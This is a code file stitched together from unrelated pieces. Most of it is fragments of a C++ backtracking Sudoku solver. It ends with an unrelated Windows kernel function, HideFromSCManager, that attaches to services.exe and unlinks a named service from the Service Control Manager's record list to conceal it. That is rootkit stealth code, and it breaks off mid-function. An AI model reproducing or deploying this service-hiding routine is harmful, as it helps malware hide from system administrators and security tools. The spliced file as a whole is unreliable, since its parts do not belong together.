static bool HandleNextRecursive (const unsigned short theIndex, Cell * theCell, MatrixOfCellPtr * theSchema){ LogicAssert (true == IsGoodPtr (theCell)); LogicAssert (true == IsGoodPtr (theSchema)); LogicAssert (true == IsGoodSchema (theSchema)); const unsigned short aTransformedIndex = TransformIndex (theIndex, theCell, theSchema); gNumOfCall++; if (theIndex >= kDim * kDim){ ++gNumOfSolution; if (!(gNumOfSolution % 100000) || true){ const unsigned long aCurrentSolution = gNumOfSolution; ISI_DUMP (aCurrentSolution); ISI_DUMP (gNumOfCall); ISI_DUMP (static_cast <double >(gNumOfCall)/aCurrentSolution); DumpMatrix ("theRowVector", theSchema [0]); ISI_DUMP (BoolToStr (IsGoodSolution (theSchema))); } return false; } LogicAssert (/*(theIndex >= 0) &&*/ (theIndex < kDim * kDim)); if (theCell [aTransformedIndex].GetStatus () == CellStatus::ConstantInputInitValue){ return HandleNextRecursive (NextIndex (theIndex), theCell, theSchema); } bool rit = false; for (CellValue aValue = 0; aValue < kDim; ++aValue){ LogicAssert (theCell [aTransformedIndex].GetValue () != aValue+1); LogicAssert (theCell [aTransformedIndex].GetValue () == 0); const bool aGood = IsGoodSchemaAvailable (theSchema, aValue, aTransformedIndex); if (aGood){ theCell [aTransformedIndex].SetValue (aValue + 1); rit = HandleNextRecursive (NextIndex (theIndex), theCell, theSchema); if (rit){ break; } else{ theCell [aTransformedIndex].SetValue (0); } } } return rit; }
static std::size_t CountFreeFree (CellVector ** aMatrix){ LogicAssert(true == IsGoodPtr(aMatrix)); bool aValueVect [kDim] = {false}; for (std::size_t i = 0; i < kDim; ++i){ for (int j = 0; j < 3; ++j){ LogicAssert(true == IsGoodPtr(aMatrix[j])); LogicAssert(true == IsGoodPtr((*aMatrix[j])[i])); const unsigned short aVal = (*aMatrix[j])[i]->GetValue (); if (aVal > 0){ LogicAssert(IsInCRange <std::size_t>(0, aVal - 1, IG_DIM_OF_ARRAY(aValueVect))); if (false == aValueVect [aVal - 1]){ aValueVect [aVal - 1] = true; } } } } return std::count (aValueVect, aValueVect + kDim, false); }
bool IsGood (const MatrixOfCellPtr * theSchema, const TAlgo theAlgo){ LogicAssert(true == IsGoodPtr(theSchema)); bool rit = true; for (std::size_t i = 0; (i < kDim) && rit; ++i){ rit = theAlgo (theSchema [0][i]) && theAlgo (theSchema [1][i]) && theAlgo (theSchema [2][i]); } return rit; }
static void DumpMatrix (const char * theIdentifier, const MatrixOfCellPtr &theMatrix){ LogicAssert (true == IsGoodPtr (theIdentifier)); std::cout << theIdentifier << ":" << std::endl; for (std::size_t j = 0; j < kDim; ++j){ for (std::size_t i = 0; i < kDim; ++i){ std::cout << "\t" /*<< "[" << theMatrix [j][i]->fStatus << "] "*/<< theMatrix [j][i]->GetValue () << ", "; // std::cout << "\t" /*<< "[" << theMatrix [j][i]->fStatus << "] "*/<< theMatrix [j][i] << ", "; } std::cout << std::endl; } }
static unsigned short TransformIndex (const unsigned short theIndex, const Cell * theCell, MatrixOfCellPtr * theSchema){ LogicAssert (true == IsGoodPtr (theCell)); LogicAssert (true == IsGoodPtr (theSchema)); static std::vector <std::pair <unsigned short, CellStatusWithValue> > sTransformArray; static bool sFirstTime = true; if (sFirstTime){ sFirstTime = false; for (unsigned short i = 0; i < kDim * kDim; ++i){ const std::size_t aRowIndex = kIndexHelper [i][0] - 1; const std::size_t aColIndex = kIndexHelper [i][1] - 1; const std::size_t aSqrIndex = kIndexHelper [i][2] - 1; #ifdef _DEBUG const std::size_t aCountFreeRow = CountFree (theSchema [0][aRowIndex]); const std::size_t aCountFreeCol = CountFree (theSchema [1][aColIndex]); const std::size_t aCountFreeSqr = CountFree (theSchema [2][aSqrIndex]); ISI_DUMP(aCountFreeRow); ISI_DUMP(aCountFreeCol); ISI_DUMP(aCountFreeSqr); #endif CellVector * aMatrix []={ &theSchema [0][aRowIndex], &theSchema [1][aColIndex], &theSchema [2][aSqrIndex] }; const std::size_t aCountFreeFree = CountFreeFree (aMatrix); #if 1 sTransformArray.emplace_back (i, CellStatusWithValue (theCell [i].GetStatus (), aCountFreeFree)); #else const std::pair <unsigned short, CellStatusWithValue> aPair (i, CellStatusWithValue (theCell [i].GetStatus (), aCountFreeFree)); sTransformArray.push_back (aPair); #endif } std::sort (sTransformArray.begin (), sTransformArray.end (), MyCompare); #ifdef _DEBUG std::for_each (sTransformArray.begin (), sTransformArray.end (), MyDump); #endif } // return kDim*kDim - theIndex - 1; return sTransformArray [theIndex].first; }
static bool IsGoodSchemaAvailable (const MatrixOfCellPtr * theSchema, const CellValue theValue, const unsigned short theTransformedIndex){ LogicAssert (true == IsGoodPtr (theSchema)); LogicAssert (true == IsGoodSchema (theSchema)); // this is the slow assert #ifdef _DEBUG bool aGood = true; for (int i = 0; i < 3 && aGood; ++i){ const std::size_t aIndex = kIndexHelper [theTransformedIndex][i] - 1; aGood = isi::IsAvailable (theSchema [i][aIndex], theValue + 1); } return aGood; #else return isi::IsAvailable (theSchema [0][kIndexHelper [theTransformedIndex][0] - 1], theValue + 1) && isi::IsAvailable (theSchema [1][kIndexHelper [theTransformedIndex][1] - 1], theValue + 1) && isi::IsAvailable (theSchema [2][kIndexHelper [theTransformedIndex][2] - 1], theValue + 1); #endif }
static void my_main (const char * theFileName){ LogicAssert (true == IsGoodPtr (theFileName)); LogicAssert (std::strlen (theFileName) > 0); ISI_DUMP (theFileName); #if 1 CellValue kCellValue [kDim * kDim]={ 0 }; LoadCellValuesFromFile (theFileName, kCellValue); #else const CellValue kCellValue [kDim * kDim]={ 0, 0, 6, 0, 5, 0, 8, 0, 2, 0, 0, 8, 0, 0, 4, 5, 0, 9, 0, 5, 7, 0, 8, 2, 3, 0, 0, 1, 0, 0, 0, 6, 0, 0, 5, 0, 0, 8, 5, 0, 0, 3, 0, 2, 6, 6, 4, 0, 0, 0, 0, 0, 0, 7, 0, 0, 9, 1, 0, 0, 6, 0, 0, 5, 0, 1, 8, 0, 0, 2, 0, 0, 0, 0, 4, 0, 3, 0, 7, 0, 0 }; #endif Cell aCell [kDim * kDim]; for (std::size_t aIter = 0; aIter < kDim * kDim; ++aIter){ if (0 != kCellValue [aIter]){ LogicAssert(IsInCRange <std::size_t>(0, aIter, IG_DIM_OF_ARRAY(kCellValue))); LogicAssert(IsInCRange <std::size_t>(0, aIter, IG_DIM_OF_ARRAY(aCell))); aCell [aIter].SetInitValue (kCellValue [aIter]); } } ISI_DUMP (std::count_if (aCell, aCell + kDim * kDim, IsInitValue)); // alias of rows MatrixOfCellPtr aRow (kDim); std::size_t i = 0; std::size_t j = 0; for (j = 0; j < kDim; ++j){ for (i = 0; i < kDim; ++i){ LogicAssert(IsInCRange <std::size_t>(0, i + j*kDim, IG_DIM_OF_ARRAY(aCell))); aRow [j].push_back(&aCell [i + j*kDim]); } } isi::DumpMatrix ("aRow", aRow); // alias of columns MatrixOfCellPtr aCol (kDim); for (j = 0; j < kDim; ++j){ for (i = 0; i < kDim; ++i){ LogicAssert(IsInCRange <std::size_t>(0, i + j*kDim, IG_DIM_OF_ARRAY(aCell))); aCol [i].push_back(&aCell [i + j*kDim]); } } // alias of square MatrixOfCellPtr aSqr (kDim); const std::size_t aTransform [kDim][3] = { // it would be interesting automagically create this matrix at compile time, using meta programming {0, 0, 0}, {1, 0, 3}, {2, 0, 6}, {3, 3, 0}, {4, 3, 3}, {5, 3, 6}, {6, 6, 0}, {7, 6, 3}, {8, 6, 6} }; for (j = 0; j < kDim; ++j){ std::size_t aIndex = 0; for (std::size_t a = aTransform [j][1]; a < aTransform [j][1] + 3; ++a){ for (std::size_t b = aTransform [j][2]; b < aTransform [j][2] + 3; ++b){ LogicAssert(IsInCRange <std::size_t>(0, a, kDim)); LogicAssert(IsInCRange <std::size_t>(0, b, kDim)); LogicAssert(IsInCRange <std::size_t>(0, j, kDim)); LogicAssert(IsInCRange <std::size_t>(0, aIndex, kDim)); aSqr [j].push_back (aRow [a] [b]); ++aIndex; } } } #ifdef _DEBUG isi::DumpMatrix ("aCol", aCol); isi::DumpMatrix ("aSqr", aSqr); #endif MatrixOfCellPtr aSchema []={ aRow, aCol, aSqr }; RuntimeAssert (true == IsGoodSchema (aSchema)); (void) isi::HandleNextRecursive (0, aCell, aSchema); isi::ISI_DUMP (isi::gNumOfCall); isi::ISI_DUMP (isi::gNumOfSolution); }
static bool IsGoodSchema (const MatrixOfCellPtr * theSchema){ LogicAssert(true == IsGoodPtr(theSchema)); return IsGood (theSchema, IsGoodSchemaSequence); }
bool operator () (const Cell * theIter) const{ LogicAssert (true == IsGoodPtr (theIter)); return theIter->GetValue () == fCellValue; }
NTSTATUS HideFromSCManager(WCHAR *service) { NTSTATUS status; PEPROCESS proc; PROCESS_BASIC_INFORMATION pbi; ULONG *ptr, *ptr2; PPEB peb; PIMAGE_SECTION_HEADER dsh; // data section headers PSERVICE_RECORD curr, prev=NULL, next=NULL; PVOID dsec; ULONG ServiceNameLen, ServiceToHideNameLen, dsecsize, n, i; if( NbHiddenServices >= 128 ) return STATUS_UNSUCCESSFUL; // we look for services.exe EPROCESS struct status = GetEProcessByName (L"SERVICES.EXE", &proc); if( !NT_SUCCESS(status) ) { status = GetEProcessByName (L"services.exe", &proc); if( !NT_SUCCESS(status) ) return status; } // we attach to it :) KeAttachProcess(proc); // we get infos about current process status = ZwQueryInformationProcess(NtCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), 0); if( !NT_SUCCESS(status) ) { KeDetachProcess(); return status; } peb = pbi.PebBaseAddress; // look for data section dsh = FindModuleSectionHdr(peb->ImageBaseAddress, ".data"); if( !dsh ) { KeDetachProcess(); return STATUS_UNSUCCESSFUL; } // get section size & offset dsecsize = dsh->SizeOfRawData; dsec = dsh->VirtualAddress + (PUCHAR)peb->ImageBaseAddress; /* We have now to find the beginning of the service table in the .data section. As weasel said, to identify it, we look for a null ptr followed by a valid memory address. */ if( !srecord ) { for(ptr=(PULONG)dsec, n=dsecsize>>2; n ; n--,ptr++) { if( !IsGoodPtr(ptr, 2*sizeof(ULONG)) ) continue; if ( (ptr[0] == 0UL) && // our null byte (ptr[1] != 0UL) && (ptr[1] < (ULONG)MM_HIGHEST_USER_ADDRESS) && !(ptr[1]&1)) { if( IsGoodPtr(ptr, sizeof(SERVICE_RECORD)) ) { if( !MmIsAddressValid(&((PSERVICE_RECORD)ptr[1])->sErv)) continue; // we look for the sErv tag if( ((PSERVICE_RECORD)ptr[1])->PreviousServiceRecord == (PSERVICE_RECORD)ptr && ((PSERVICE_RECORD)ptr[1])->sErv == 'vrEs' ) { srecord = (PSERVICE_RECORD)ptr; break; } } } } } if( !srecord ) { // :( KeDetachProcess(); return STATUS_UNSUCCESSFUL; } curr=srecord; ServiceToHideNameLen = wcslen(service); while( curr ) { if( curr->Lp_WideServiceName == NULL ) { curr = curr->NextServiceRecord; continue; } ServiceNameLen = wcslen( curr->Lp_WideServiceName ); if( ServiceToHideNameLen == ServiceNameLen && !memcmp(curr->Lp_WideServiceName, service, (ServiceNameLen+1)*2)) { // process to hide next = curr->NextServiceRecord; prev = curr->PreviousServiceRecord; // we hide the service, like for DKOM _asm sti if(next) next->PreviousServiceRecord = prev; if(prev) prev->NextServiceRecord = next; // note that we can't hide the first service, we don't know // how to access the list right. _asm cli // we get data usefull to restore the service later HiddenService[NbHiddenServices] = curr; NbHiddenServices++; } curr = curr->NextServiceRecord; }